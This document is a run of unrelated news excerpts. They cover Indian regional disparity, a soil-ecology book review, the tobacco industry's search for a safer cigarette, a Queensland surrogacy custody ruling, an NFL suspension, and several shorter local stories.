During his visit to his alma mater after 36 years, Subramanian also talked about rising disparity in India. According to him, in the last 15 years, poorer states in India have grown slower than the richer states.
“So what it means is, the disparity within India is increasing and this is in sharp contrast to what is happening elsewhere in the world,” he said while making comparisons with countries like China where gap between rich and poor provinces is narrowing,” the CEA said.
“If Gujarat is growing faster than Orissa, people will come from Orissa to Gujarat. So you will see people from Orissa becoming richer because of partaking in what is happening in Gujarat. But, this is not happening enough in Indian and this is a deep puzzle…,” he added.
The economist also talked about how India needed to quickly cash-in on it’s demographic dividend. “The other thing that we discovered is that, this window of opportunity that we call as demographic dividend is going to close very soon.
“We estimate that by 2020, we will reach the peak of demographic dividend and after that the growth of young people will start declining very rapidly and very soon.”
While taking questions from the audience Subramanian while taking about black money said that more “sticks and carrots” were required after demonetisation to “arrest” the flow of black money.
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Noah Berger / The New York Times / eyevine
THIS author is down to earth in every sense. David Montgomery, a research geologist at the University of Washington, is one of our most eloquent and precise earth science communicators. In his latest book, he takes on one of the toughest problems contributing to climate change and resource depletion: the impoverishment of the soil. On top of being a catastrophe in itself, the collapse of the soil microbiome also impairs its capacity to sequester carbon and retain moisture.
Montgomery visits farmers, range managers and others who set out to show that improving the diversity and resilience of the soil microbiome can be economically viable and have a lasting ecological impact. This point has been made before, in Courtney White’s Grass, Soil, Hope and by Eric Toensmeier in his practical guide The Carbon Farming Solution. Montgomery’s meticulous scientific research deepens the discussion, reviewing the recent technical literature to explain and evaluate farmers’ claims.
Montgomery is one of the most prolific science writers in the US, and sometimes that industriousness takes its toll. For my money, the best book ever written on the fungi, nitrogen-fixing bacteria and insects that run the world from beneath our feet is The Hidden Half of Nature, which Montgomery co-wrote with his wife. In contrast, these latest journalistic accounts of visiting “carbon farmers” and “carbon cowboys” around the world feel a little thin.
Much of value remains. Montgomery steers clear of the suggestion that there is a single biotechnological fix to soil ecology – a one-size-fits-all approach like Allan Savory’s managed grazing or Wes Jackson’s “natural systems agriculture”. He looks instead for a mix of tactics, which will be applied in different proportions to fit different landscapes.
“We can restore beneficial microbes to our skin, might we really perform the same feat for the soil?”
If there is any flaw in Montgomery’s scientific assessments, it may lie in his optimism. He has high hopes for annual crops, though many ecologists think they are ecologically quite damaging. It is hard to imagine that any annual herbaceous crop could sequester much carbon, compared with longer-lived perennial crops in the same settings. “Food forests” of fruit and nut trees, or even deep-rooted grasses and other herbaceous crops do far less damage to the soil because they require less tillage.
The effort that farmers of annual crops expend to make their operations more sustainable are noble. But I’m wary of any hype, never mind whether it comes from the biotech industry or the biodynamic farm movement, suggesting that annual crops can be as ecologically sound and mitigate climate change as effectively as orchards and perennials.
If Montgomery is indeed “growing a revolution” then his next steps are clear, and it will be fascinating to know whether some of the suggestions he floats before us will bear fruit. Might future agricultural systems be able to apply lessons drawn from elsewhere in biology to solve our current agricultural crisis? Montgomery explains how microbial ecologists working in hospital operating rooms are learning to reverse the devastation caused by antibiotics, and restore beneficial microbes to our skin and gastrointestinal tracts; might we really perform the same feat for the soil?
Montgomery has a knack for opening our minds to large, critically important questions. Plausible answers to those questions can be slow in coming, and this can be frustrating. But that, to my mind, is why we need more risk-takers like Montgomery in our midst.
Growing a Revolution: Bringing our soil back to life David Montgomery W. W. Norton
“We have detained a 21-year-old Rajshahi University student,” Nahidul Islam, deputy police commissioner of the northwestern city of Rajshahi where Saturday's attack occurred, told AFP.
Two assailants on a motorcycle had attacked Rezaul Karim Siddiquee, 58, a professor of English at Rajshahi University on Saturday, slitting his throat and hacking him to death, Rajshahi city police chief Mohammad Shamsuddin had told reporters, quoting witnesses.
Prof Siddiquee was found lying in a pool of blood near his home, where he was apparently waiting for a bus to the university campus about 200 kilometres northwest of Dhaka when he was attacked.
There exists, in some lawyer's vault, somewhere in the United States, a secret memo that was authored by a tobacco company executive back in 1955. Written in the exclamatory patois of the time, it says, "Boy! Wouldn't it be wonderful if our company was first to produce a cancer-free cigarette. What we could do to the competition."
Just imagine it: a safe cigarette. One that doesn't kill by causing cancer, or the diseases of the heart and lungs. One that can be consumed with pleasure to the smoker, benefit to the treasury and profit to the tobacco giants. To all the interested parties, this would indeed be the most tremendous invention. Ever since the most serious perils of smoking became suspected by scientists, back in the early Fifties, many hundreds of millions of pounds have been spent pursuing the impossible dream.
The early years of the quest were notable, chiefly, for the fact that they were rarely admitted publicly. The companies feared that public acknowledgement of a link between smoking, addiction and health would cause governments to regulate, sales to collapse and ruinous lawsuits to be brought. Now, a brave new era is upon us. All of the major tobacco companies are openly pursuing safer, "reduced toxicant" products. Large teams of scientists in labs across the world are working on finding new and fascinating ways of lessening the harm of the most fatal habit of all, even if they're not entirely sure they'll succeed.
It's hard to imagine that the research and development laboratories of British American Tobacco (BAT) were once a secret. When approaching it on foot, through the Southampton suburb that surrounds it, the enormous, glinting complex looms into view at the end of a narrow street. In its vast concrete spaces, great machines manufacture experimental cigarettes and strange nicotine products. In laboratories, researchers in white coats work among corridors of pristine equipment, pouring liquids into test tubes and inserting cigarettes into robotic smokers.
"Whilst we have a fiduciary responsibility to make money for our shareholders, we also need to behave responsibly," says chief scientific officer, Dr Chris Proctor, who sits in a conference room beneath a large perspex sign that reads "we welcome your comments". "We've got consumers getting sick because they use our products."
It's a statement that previous BAT executives wouldn't have dreamt of making. Incredibly, tobacco companies in the US were still denying the link between smoking, addiction and disease as recently as 2000 (in Britain, they began conceding the truth in the early Nineties). Just outside the room is a portrait of Proctor's predecessor, Sir Charles Ellis, who surely would have been startled to hear what he's been saying.
In 1962, the tobacco industry's nightmare became real. A study by the Royal College of Physicians concluded that smoking causes lung cancer and urged the government to take "decisive steps" to combat the problem. In a speech to his colleagues that year, Sir Charles struggled to concede the devastating science, insisting that those who saw a link had "reached an emotional conclusion in which they believed passionately and sincerely… We know only too well that there are no conclusive proofs; that there are few, if any, cold scientific facts." But, he added, if a link was ultimately proven, scientists would surely find a way to solve the problem. Cigarettes would be made safe.
The health risks were not to be admitted publicly, however. To protect themselves, special code words were used in internal documents, such as those that were zooming about BAT's famous Southampton labs in 1957, which used "zephyr" for lung cancer and "borstal" for carcinogens.
One early answer was the filter. When Kent introduced its new filtered cigarettes, sales increased by more than $20 billion in a year. But there was a problem. "It was made out of asbestos," says Mitch Zeller, a former associate commissioner of America's Food and Drug Administration. "Sadly, all the people that were sucking down on those filters were sucking down asbestos fibres as well."
In the early Seventies, the industry came up with another clever scheme: "light" or "low-tar" cigarettes that had tiny, laser-cut holes in their paper and would, in theory, dilute the smoke with fresh air, and thus reduce its harmful toxins. Once again, there was a problem: "Filter ventilation is probably the greatest fraud that has ever been perpetrated on consumers," Zeller says. "All of the patents for this technology said that the holes were put 12mm from the mouth end of the cigarette. Why? Because when you place that cigarette in a smoking machine, which is used to measure tar and nicotine delivery, the ventilation holes are left open and that has a dilution effect. But when a human being smokes that cigarette, 12mm is where your lips and fingers go. So they block the holes." A 1980 study found that when these holes are blocked, the toxic load of a "low tar" or "light" cigarette can be increased by up to 300 per cent.
It wasn't until 1988 that the industry announced its next major advance, with the launch by US firm R J Reynolds of the ingenious "Premier" cigarette. Having cost $325 million to develop, the Premier helped solve the primary source of danger to any smoker: combustion.
It's the act of burning, according to Robert West, professor of health psychology at University College, London, that triggers the release of hundreds of toxic substances. "Carbon monoxide is a poisonous gas that is produced whenever you burn any organic compound, whether it's petrol, paper or tobacco leaf," he says. "When you inhale it, it gets into the bloodstream, and that has a number of effects, one of which is to increase the hardening of the arteries. That contributes to heart disease. Then you've got the 'tar', which is just the name for a very large number of chemicals, many of which are known to be highly carcinogenic."
The revolutionary idea behind the Premier was that it didn't burn tobacco, but heated it instead. "You still got a lot of carbon monoxide, but you didn't get anything like the tar exposure," says West. But, yet again, there was a problem. The taste. The primary flavours of the Premier were sulphur and charcoal. Despite the company's scientists attempting to mask it with hints of raspberry and chocolate, it didn't stop test subjects describing the taste as being redolent of "burning plastic" and "s---".
What they couldn't know, back in the Eighties, was that their mission had been impossible from the start. Today, neuroscientists know cigarettes to be addictive in several different ways. One of its mechanisms involves nicotine triggering the release of dopamine in a part of the brain called the nucleus accumbens, where it acts as a teaching signal. "It tells the brain, 'Pay attention to what you were just doing and the situation in which you were just doing it and the next time that situation comes along, do it again,' " explains West. The smoker remembers the act, ritual and experience of enjoying a cigarette, and develops a powerful urge to recreate it.
One major problem with genuinely low-tar cigarettes, such as the Premier, is that the tar is where most of the flavour lives. To the smoker's addicted brain, it is simply delicious. "Nicotine trains you to smoke cigarettes with the kind of flavour that you're used to," says West. "And so even switching brands for smokers can be a bit of a thing, because it tastes different." The Premier, then, was too different an experience ever to stand a chance. It lasted just a few months before it was withdrawn.
Deep in the smoking archives hides an altogether more curious tale. Early in the Sixties, a team of scientists led by the chemist James Mold announced to their bosses at the Liggett & Myers Tobacco Company that they had developed a truly "cancer-free" cigarette. Mold, now deceased, told a reporter in 1992, "We were the only ones in the whole damned world able to solve this problem." After studying his data, the company apparently agreed. They stockpiled ingredients for Mold's creation (it was to be coated with the metal palladium), and developed an advertising campaign for what they'd called "Tame" cigarettes. And then, it was killed. "I think they were concerned that they'd have everybody suing them because they'd be admitting they'd been making a hazardous cigarette," said Mold.
Did the tobacco industry really conspire to destroy what it believed to be a truly cancer-free cigarette? "It wouldn't surprise me," says Zeller, who tussled with US tobacco companies for seven years in his time at the FDA. "Back then, when they were denying causality and addiction, I can see why that kind of decision would be made, for commercial and legal reasons. But I wonder how good the science was that showed it reduced the risk of cancer. I wonder what kind of evidence they had."
Back at BAT, one of Proctor's proposed solutions comes as a surprise. Not a cigarette at all, but a form of tobacco that you put into your mouth, where the nicotine kind of oozes out. It's called "snus" and BAT has its own manufacturing plant just downstairs from where we're sitting.
According to West, "Snus is a special form of tobacco that's got practically no carcinogens in it. There are some questions about whether it might have a slight increased risk of heart disease, but it's near enough safe." Unfortunately, though, snus is illegal in Britain. "Which doesn't make any sense at all," says West. "There have already been two legal challenges in the European court that didn't go anywhere, so I don't see it changing any time soon."
Even if the law could be overturned, Proctor's experience promoting snus in markets where it is permitted suggests the task may be formidable. "We thought we'd have a go at snus," he begins, brightly. "So we bought a small company in Sweden, which is now part of the group, and started trials in Japan, South Africa and Canada. In Japan it flopped. In South Africa, we tried for three or four years to get people to adopt the habit, but it was hard. And in Canada, I flew to Ottawa in 1998 to give a press conference about snus. There was me and our press officer sat in front of all these Canadian flags. No one turned up."
One problem with snus is the perhaps insurmountable one: the dopamine in the nucleus accumbens, which teaches people to smoke exactly what they've always smoked, and not suck on a tea bag full of dead leaves.
Much of BAT's research millions have been spent on developing a more traditional cigarette, which is known internally as the "RTP", or "reduced toxicant prototype". Using a combination of technologies - resins that absorb toxicants; tobacco that's been specially washed and treated, then bulked out with a papery equivalent; chalk and seaweed added to the paper - they hoped to create a brand new product. Initial testing, though, has caused BAT to temper their ambitions. They're now hoping to introduce some of their innovations into their standard smokes.
But even if they do manage to prove that their new creations lessen exposure to various toxicants, it's another thing entirely to show that this reduction will lead to any significant health benefit. "How do you evaluate if any of this is going to be of useful effect?" asks Proctor. "That's the story of a lot of our research effort for the last five or six years. It's one of the most challenging things, figuring out if what you've done to the product actually reduces the risk."
Zeller makes much the same point, although rather less optimistically. "At the end of the day, you're still burning tobacco leaves and inhaling the smoke into your lungs. These products might make the difference between falling out of a 14-storey window and a 10-storey window."
True to the spirit of Sir Charles, Proctor will press on. "It's hugely challenging, but we're going to continue on this journey of trying to reduce the toxicants in smoke and seeing whether they are beneficial," he says. And does he believe that the ultimate prize, a cigarette that is both smokable and safe, will eventually be won? "No."
Maybe Ann Coulter was too quick to give up on Berkeley.
Coulter, conservative author, pundit and self-promoting provocateur, cancelled an appearance at UC Berkeley last week when, well, it’s a long story. If only she would have known: This week, Berkeley was ranked the fifth-most desirable U.S. city in which to live by niche.com, a website that “helps you discover the schools and neighborhoods that are right for you.”
Niche.com gave Berkeley an A+ for public schools, nightlife, diversity and being “good for families.” The city got a C+ for both housing and crime, and safety. Other factors considered included traffic and weather. The grades, by the way, were arrived at through “advanced algorithms and statistical techniques to compare, normalize and connect millions of data points to thoroughly analyze U.S. schools and neighborhoods.”
Sounds simple enough.
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Peterson: Deportation fears are sending many ‘back into the shadows’
Peterson: Concord the No. 1 U.S. retirement destination — really? What the website didn’t cite, but could have, is Berkeley’s free-spirited, free-thinking residents (more than 70 percent have earned a bachelor’s degree or higher), the UC Berkeley campus, the kaleidoscope of sensory stimuli to be found on Telegraph Avenue, the hills and their commanding view of the Bay Area, proximity to more traditionally vibrant cities in which tie-dye is not recognized as an official color, and the occasional political rally that turns into an episode of the Jerry Springer Show.
One reviewer who relocated to Berkeley from Houston wrote niche.com: “At first, the city does provide a bit of a culture shock because people are so eccentric, and almost too friendly!”
Imagine if this reviewer had been around for Naked Guy.
“The amount of cultural food is absolutely insane,” the reviewer continued, “and more diverse than any other city I have been to.”
Snippets from other reviewers: “The area is very walkable” … “Anyone can find a community here” … “The history of the city is rich with political activism” … “Overpriced, overly political and overcrowded, but, you know what, the food’s really good.”
Berkeley ranked behind only top-rated Ann Arbor, Michigan; Naperville, Illinois; Arlington, Virginia; and Columbia, Maryland in the 100-city survey. Two other Bay Area cities made the top 25: Sunnyvale (15) and San Francisco (24).
Talk about pay to play: Under the terms of a new two-year lease, the Warriors will pay dearly to Oakland and Alameda County for the right to call Oracle Arena home. The new lease calls for $2.5 million per year, an increase of $1 million — or what Kevin Durant earned every four dunks during the regular season.
Speaking of heaping gobs of money: The 2.2-mile bike path along the Bay Bridge’s eastern span was opened this week for seven-days-a-week use. Not only that, but a $2 million vista point was opened at the point where the path meets Yerba Buena Island.
If you’re thinking that $2 million for benches, restrooms, a bike rack, a water fountain and a killer view is a little pricey, recall that the bridge cost $6.4 billion ($5.4 billion over budget and 10 years behind schedule), jaw-dropping fiscal irresponsibility that was celebrated, naturally, with a $5.6 million grand opening.
Even if he wanted to, Durant couldn’t offset that cost unless he dunked into his 70s. Hey, don’t laugh:
Finally, it recently came to light that Oakland Mayor Libby Schaaf, in her new two-year budget, initially proposed diverting soda tax revenues to cover a budget shortfall — which would have broken a promise made to voters to commit the funds to fight diseases related to high-sugar drinks.
A documentary by the Spanish journalist Monica Uriel presented at the Memorial Democratic della Generalitat di Catalunya in Barcelona has drawn the spotlight back to those days. The victims' families have asked Italy for an apology along the lines of the German one in 1999 for the Guernica massacre perpetrated by Nazi fighter planes, immortalized in a well-known painting by Pablo Picasso. In 'Barcelona, Ferida Abierta' ('Barcelona, Open Wound'), Monica Uriel uses archival images from the Filmoteca de Catalunya, historical analyses and the memories of a woman who was a young girl then to reconstruct the sufferings of civilians in Barcelona, one of the last pockets of resistance to Franco's advance, backed by Mussolini and Hitler. The order to ''hammer'' the 'Red' Barcelona, already attacked by the Italian sea vessel 'Eugenio di Savoia' in February 1937, came directly from the Duce in a telegram to General Velardi, head of the Aviazione Legionaria stationed in Maiorca. ''Begin tonight violent actions on Barcelona, with hammering spread out over time.'' The Marchetti-Savoia were sent over the virtually defenseless Republican city in waves, every three hours. The bombing campaign was interrupted only after international protests, on Franco's orders in another telegram to Velardi: ''Urgent.
Generalissimo orders suspension bombing''. The Barcelona attack was the first instance of carpet-bombing of a civilian population of a large European city in history. On the request the AltraItalia association of Italian in Spain, in 2013 Barcelona's Audiencia Nacional opened a criminal investigation for war crimes and asked for the Italian authorities' assistance - which, according to the lawyers for plaintiffs Newton Bozzi and Jaume Aseus, was not forthcoming.
''In 2015, the Italian judiciary ruled that the Spanish letter rogatory was over, arguing that the defense ministry 'is not able to provide' the list of Aviazione Legionaria pilots,'' Uriel said. Thus, 75 years after the Barcelona bombings, ''Italy has not yet apologized. The film ends with a meeting between Alfons Canovas, the son of José, killed by Italian bombs, and Rosina Costa, daughter of Luigi, one of the Italian pilots. ''You can forgive,'' Canovas says. ''Forget, never.''
Davis will appeal the suspension.
"The league made a decision, you know, fortunately we have an appeals process we will go through that. Whatever happens from there, happens," he said Monday.
Davis hit a defenseless Adams, leading with his helmet, after Panthers safety Colin Jones picked off an Aaron Rodgers pass and returned it 34 yards.
Editor's Picks Packers' Adams tweets rant about Davis hit Davante Adams lashed out at Thomas Davis on Monday, tweeting that the Panthers linebacker was "headhunting" when he led with his helmet on a blindside hit against the Packers wide receiver.
Thomas Davis: Panthers must remain focused on winning Super Bowl It has been a tumultuous 48 hours for Thomas Davis and the Panthers franchise, but the veteran linebacker is focused on the ultimate prize. 1 Related
Davis was penalized for the hit but remained in the game. He was fined earlier in the year for a hit against Chicago that he appealed.
"You have been previously fined for violations of safety-related rules," NFL vice president of football operations Jon Runyan said in a letter to Davis. "Your actions yesterday warrant an escalation of discipline, not only because they were flagrant, but also because of your status as a repeat offender."
Davis is eligible to return to the Panthers' active roster on Jan. 1.
Adams lashed out at Davis on Monday, tweeting that the Panthers linebacker was "headhunting" when he led with his helmet on the blindside hit Sunday. Davis tweeted a reply to Adams, saying he "made a mistake."
Adams was able to walk off under his own power, unlike after the concussion he suffered against the Bears in Week 4, when Chicago linebacker Danny Trevathan knocked him out. Adams was taken off the field on a gurney and spent the night in the hospital but returned for the next game. Trevathan served a one-game suspension.
His concussion Sunday was Adams' third in two seasons. Packers coach Mike McCarthy said Monday evening that Adams is "doing good."
"I mean, he's in the protocol right now, but the concern is the obvious. This is his second one this year. The way that he responded has been very positive," he said.
Panthers coach Ron Rivera said earlier Monday that he did not think Davis intended to hit Adams in the head.
"If you see Thomas' reaction to the hit that he made, you know that it wasn't intentional to hit him that way," Rivera said. "It was intentional that he wanted to block him, and I just take it from the way he reacted -- he did not intend to hit him high or in the head."
Panthers defensive coordinator Steve Wilks does not believe Davis' hit against Adams warrants a suspension.
"Definitely not," Wilks said. "And I think you have to look at the person. We know Thomas is a class act. The emphasis right there was when you get an interception, you're really trying to set the wall. We put a lot of emphasis on trying to score on defense. So I don't think it was anything malicious in anything Thomas was trying to do."
McCarthy, however, said "there's no place in this game for those types of hits."
"That's been made loud and clear. That hit was totally unnecessary yesterday. So as far as any type of rule changes, what they want to add, that's obviously for future discussion. The player has been suspended. So whatever you think about that, but Davante was in a position that he shouldn't have been hit like that, and that was clear. So, I like Ron Rivera. I've always respected the play style of his football team, but that hit was a dirty hit," he said.
Shaq Thompson, Carolina's other outside linebacker, has missed the past two games with a foot injury. Thompson said on Monday he was feeling better and hoped to play Sunday against Tampa Bay, but there's a chance the Panthers could be without both starting outside linebackers if Davis has to serve the suspension.
The Queensland woman, 32, wanted to spend increasing amounts of time with the boy, amid a bitter and messy feud with the biological parents, one of whom is a relative.
The relationship between the two parties broke down during the pregnancy to such an extent the biological parents believed their unborn baby was being “held hostage” by the surrogate who was “using the baby to extort money”.
It even escalated to the woman threatening to have the child aborted.
Court documents revealed the birth mother instructed a lawyer to write to the couple that “implicitly threatened on behalf of the birth mother that she would neither hand over the child to the genetic parents after it was born, nor consent to a parenting order being made in their favour” and “sooner the better” start speaking to her “kindly”. The legal threat was made just two weeks before the baby was born in April last year.
The matter went to trial in the Family Court in February. In a recent judgment, Justice Peter Tree ruled in favour of the biological parents as having “equal shared parental responsibility for making decisions about major long-term issues regarding the child” and be “solely responsible for [his] daily care, welfare and development”.
The birth mother was also forced to change the child’s name on the birth certificate.
Under the Family Law Act, the birth mother had shared parental responsibility with the biological father — but Justice Tree said that was not in the child’s interest.
“However I am satisfied that it would not be in the best interests of the child for the birth mother to have any parental responsibility for him, because no parties’ proposal would see the child ever live with her, and to allow her input into decision making would be unworkable, because of the intractable hostility between the genetic parents and the birth mother, which seems insoluble and likely permanent,” he said in the judgment.
He slapped down the birth mother’s attempt at some involvement in the child’s life, saying it was a matter entirely for the parents.
“The child shall spend no time with the [birth mother] save and except as may be determined by the Applicants at their sole discretion.”
Exposing the child to the hostility between the adults was a “recipe for disaster”.
THE AGREEMENT
The biological mother and father, who are aged 44 and 40 respectively, invited the birth mother to their home for dinner in early 2015. It was at this dinner that they told her about their struggle to have a child and asked her to consider becoming a surrogate.
They had been unable to conceive and the mother had then battled breast cancer, which left her unable to carry a child.
When the relative agreed, they drew up a surrogacy agreement that included a paragraph that said: “The birth mother intends to carry the embryo to term and following the birth of the child to hand the child to the intended parents so that they may bring up the child as their own child.”
It went on: “The intended parents intend, following the birth of the child, to make an application for a Parentage Order as provided by the Surrogacy Act 2010.”
Also part of the agreement was that the biological parents would pay the birth mother’s costs. It noted, however, that she had the right to manage her pregnancy and the birth.
Much of the dispute between them that followed was about money — the birth mother claimed the couple were late with payments and some didn’t arrive at all.
Another source of conflict was a perception by the birth mother of disinterest from the couple, who she accused of disengaging with her. But Justice Tree said that illustrated a “lack of insight into the sensitivities of the genetic parents based upon their past experiences, and the genetic mother’s personality”.
‘THE BIRTH MOTHER’S THREATS WERE FAR FROM IDLE’
In his judgment, Justice Tree said that in hindsight the personalities and expectations of the biological mother — who admitted she was “a control freak” — and the birth mother were not compatible.
But also an issue was the “divergent expectations” as to the level of payment the birth mother would receive during the pregnancy.
“Indeed this seems to have been manifest from a very early stage. For instance, although she had only been successfully implanted with the embryo on 3 August 2015, as early as 12 August, the birth mother was complaining to her psychologist that the genetic parents were “not treating her like other intended parents. Other surrogates are showered with gifts.”
It emerged during the Family Court trial the birth mother told her counsellor she was regretting the pregnancy and was thinking “of using a coat hanger to induce abortion”.
She told the counsellor if the genetic parents didn’t start treating her well “then they are in for a shock”, the trial heard.
The psychologist’s notes tendered at the trial revealed the biological father felt [the birth mother] was “holding their baby hostage”.
Then in February 2016, weeks before the birth, the birth mother decided to break of all contact with the couple. Within two months her solicitor wrote a detailed legal letter in which they:
— emphasised the need to make timely payments to the birth mother;
— suggested that “it will also be helpful if [the genetic mother] could, with full humility, speak kindly to our client, the sooner the better; and
— implicitly threatened on behalf of the birth mother that she would neither hand over the child to the genetic parents after it was born, nor consent to a parenting order being made in their favour.
The letter noted costs incurred to that point by the genetic parents were about $20,000 — but he normally advised his clients to budget for a sum of $60,000.
Justice Tree said: “The birth mother’s threats were far from idle. Towards the end of the pregnancy she was in advanced negotiations with an adoption agency, whose representative travelled to be at the hospital around the time of the birth, to take delivery of the child if he was relinquished [by her].”
The birth mother gave an extraordinary interview to the ABC’s 7.30 program in the days before the birth in which she claimed the couple hadn’t paid her properly.
“They asked me to give them a baby. I’ve got the baby. They were supposed to pay my expenses and they’re refusing. They’re holding me to ransom. They’re blackmailing me.
She went on to say: “I’m gonna let her have him for a little bit, see what it’s like ... I’m gonna take him from her arms. And I’m gonna say: ‘You pay my money or you don’t see your son ever again.’”
Asked if she was holding them to ransom, she said: “I have every right. It’s a business deal, isn’t it? It’s not a friendship.”
‘DISGUSTING BEHAVIOUR’: AFTER THE BIRTH
After the baby was born in April 2016, he was taken to the biological parents and stayed with them in a room at the hospital with them. But early the next day the birth mother met with the adoption agency, and by late that afternoon she requested the boy be returned to her and “negotiations” began as to whether the birth mother intended to pass the child back to the genetic parents.
On April 15, after spending a few minutes with the child, the child was discharged into the care of the genetic parents where he has remained since. But the legal battle was only just beginning.
The judgment said the birth mother’s solicitors sought payment of a further $21,351.59 “to move the matter to a parentage order” in August 2016.
Part of the payments she was demanding were to meet the costs of ongoing counselling. The payments she said she was owed were paid into her lawyer’s trust account after the birth.
“It appears as though at about that time the birth mother was reminding the genetic parents that she was still legally the baby’s mother, and was wanting to know details of his progress.”
A surrogacy guidance report compiled that month recorded how bad the relations between the parties had gotten and their poor views of each other.
The birth mother told the report writer “even now I want to have [the child] back and put him up for adoption. [The genetic parents’] behaviour has been really disgusting.”
She later texted the writer and said she was “seeking shared custody of my legal son” with the intent to put him up for adoption, and gave evidence at trial her fears the genetic mother was “suicidal and homicidal”.
In arriving at his decision, Justice Tree said he was concerned about the erratic changes in what the birth mother wanted to do with the child.
“However, the fundamental difficulty which this case presents is that, so long as there is a substantial prospect that the child will be exposed to adult conflict and hostility by virtue of having a relationship with the birth mother, any benefits that might ensue from that relationship would be vastly outweighed. Sadly, I am well satisfied that the birth mother remains angry, hostile, offended and desirous of punishing the genetic parents.
“I share [psychologists] concerns that the birth mother may be using the child to punish his biological parents, in that she is using her legal rights in a way which she knows is deeply upsetting and potentially harmful to them. I accept the submissions of the genetic parents that the birth mother ‘is locked on a revenge path’.”
The request came in a so-called citizens petition sent Wednesday to the F.D.A. by some 35 physicians, including Dr. Thomas A. Farley, the commissioner of the Department of Health in New York City, and Dr. Nirav R. Shah, the commissioner of the New York State Department of Health.
The F.D.A. rarely acts on the basis of such petitions, and it can take months or years for the agency to respond. However, the move by the group appears to be part of a broader campaign by public health officials to highlight the dangers posed by narcotic painkillers, or opioids, particularly when they are used at high dosages or over long periods of time.
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“Overprescribing of opioids is harming many chronic pain patients,” Edward Covington, director of the Neurological Center for Pain at the Cleveland Clinic, said in a statement.
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CHICAGO — A Hammond man took it upon himself to let the world know that — even though he's not from Chicago and doesn't live here — he's leaving.
And he's never coming back.
In a letter to the Tribune, Brandon Vezmar said he was ditching the city where he was not raised and does not live, for good.
"This has become an insane, dangerous, soul-destroying place, and I’ve had enough," said Vezmar, who lives in Texas. "I’m leaving Chicago, and I’m never coming back."
Vezmar wrote that he grew up in Hammond — in Indiana, a state where Chicago is not located — but would take the train into the city "every chance I could get."
He went to Columbia College and lived in Chicago for "off and on" three years afterward, living in the city for a total of about six years.
Vezmar moved to "inland Northwest and Texas," he wrote. For the last several months he's been in Hammond, which he described as the "Chicago area," for work and family.
He told DNAinfo he was in the city for work about three days a week recently.
But after his most recent time in the "Chicago area," Vezmar's grown cold on the city.
"The caustic combination of corrupt politicians with nothing but contempt for the public; a police force so broken down in spirit it visibly resents interaction with even law-abiding citizens; a criminal underclass empowered by the incessant drone of liberal rhetoric wandering the streets posing clear and present danger to everyone around them; and the enablers, who are everywhere, to say nothing of the ugly, decaying infrastructure, poor economy and joyless entertainment and leisure opportunities — it is for these reasons I have made the decision to disconnect forever," Vezmar said.
Vezmar said he also has been turned off after being the victim of two "area" property thefts, three street harassment episodes Downtown and an assault on Michigan Avenue.
Vezmar told DNAinfo men have approached him on the street and shouted at him; during the Michigan Avenue incident, Vezmar said a man grabbed Vezmar and a woman he was with.
Video from the incident:
"I think Chicago is rapidly deteriorating and reaching a point of no return culturally," Vezmar told DNAinfo when asked if he thought those kinds of experiences were unique to Chicago.
Vezmar wrote he had also been victimized when "Cook County's soda-taxer in chief," his description of Cook County Board President Toni Preckwinkle, gave him a "shameful white privilege lecture" at a public event last November.
Preckwinkle speaks near the one-hour, seven-minute mark:
Vezmar said he first "realized things could truly be different" when he went to an Idaho town.
"A community didn't have to be defined by oppositional strife. There was such a thing as natural beauty," Vezmar said. "Winter could exist with a purpose. Snowboarding as opposed to just walking around being cold."
But Vezmar didn't make up his mind to leave the city until Chicago Police "waffl[ed]" in labeling the torture of a white man with mental disabilities by four black people a hate crime. (The four suspects were each charged with a hate crime within 24 hours of their arrest.)
Liberalism is a "thought virus" that's "warped" Chicago, he said, though he later said he meant the progressive movement. He plans to move to Austin, the "exact opposite," where he won't have to listen "24 hours a day to Progressivism."
"This is a happy place of people who want to be their best," Vezmar said.
The letter received a swift response on social media, with some pointing out that Vezmar was from Hammond and lived in Texas.
But Vezmar said those criticisms aren't necessarily fair and people should focus on the fact that he once loved Chicago.
“At what point are you a Chicagoan? The Chicagoland area is a real construct. I did live in Chicago for six years. When I’m in the area I spend $15 a day commuting in and out of the city," Vezmar said. "You couldn’t pay me to live in the city limits right now. I wouldn’t do it. I think Chicago’s a dump.”
Man grew up in not-Chicago, lives in not-Chicago and wants you to know he’s leaving Chicago, where he does not live. https://t.co/s9LWIVGpmv — Randi Shaffer (@RandiMShaffer) January 12, 2017
Chicago: If ya can’t make it here…. then get out we don’t want you anyway. https://t.co/DxhhZ5NV0J — Bettina Chang (@bechang8) January 12, 2017
We enjoy your departure from our terrific city even more than your ridiculous letter.Take care now. PS White privilege is real https://t.co/kzbs3jXrCv — Coco Soodek (@CocoSoodek) January 11, 2017
This has become an insane, dangerous, soul-destroying place, and I’ve had enough. https://t.co/lDb7rlAiuf — kathryn kobor (@niteowlhowl) January 12, 2017
Hammond native describes Chicago as a "soul-destroying place." I wonder how he would characterize the region https://t.co/ivaNKFTJ3b — Elvia Malagon (@ElviaMalagon) January 12, 2017
A coffee cup showing a pair of breasts – that is what is at the centre of a row at the University of Cape Town.
The coffee cups were apparently used at a upper campus coffee shop, in the Leslie Social Sciences Building, for about 10 days.
Emblazoned with the slogans “Got Milk?”, “Caution: Hot Coffee” and “No Motorboating” the coffee cups offended some staff and students.
After a number of complaints the cups were removed.
The cups feature Axe deodorant logos. The breasts are not naked, but are covered by a bra.
SRC president Insaaf Isaacs, who had not been aware of the cups until she was contacted by the Cape Times, said: “The SRC will have to take action. That is unacceptable.
“I would imagine the UCT code of conduct would not condone those marketing strategies.”
UCT student Olivia Walton said she felt she should not be assaulted with sexual imagery while buying a cup of coffee on campus.
“UCT is an academic institution. Its stated ideals are transformation, equality, and intellectual excellence.
“All of these things necessitate one other quite important thing: thought.
“If you allow the naked body of half of your population to be splashed across campus for all to see (and hold and laugh at) at a place where, it is claimed, all are assumed to be equal in their intellect, their capacity, their rights, their opportunities, then you have not thought,” she wrote in an opinion piece for the Cape Times.
On a blog called fractionalpeople, a post titled “Stupid Sexist Flanders” said the use of the cups on campus showed the university did not value women.
UCT refused to comment on the matter.
The Queens, New York rapper has also served as a co-producer on the Tyson documentary in 2008 and as an executive producer on the Shake The Dust doc in 2014.
Jaden Smith is among those reportedly appearing in The Get Down, which is set to debut August 12, according to its IMDB page.
(The original post in this thread was published February 9, 2015. It is as follows.)
Continuing on from the success of Fox’s Empire and Starz’ 50 Cent-produced show Power, streaming service Netflix has ordered it’s own 13-episode Hip Hop drama series titled The Get Down, according to The Hollywood Reporter.
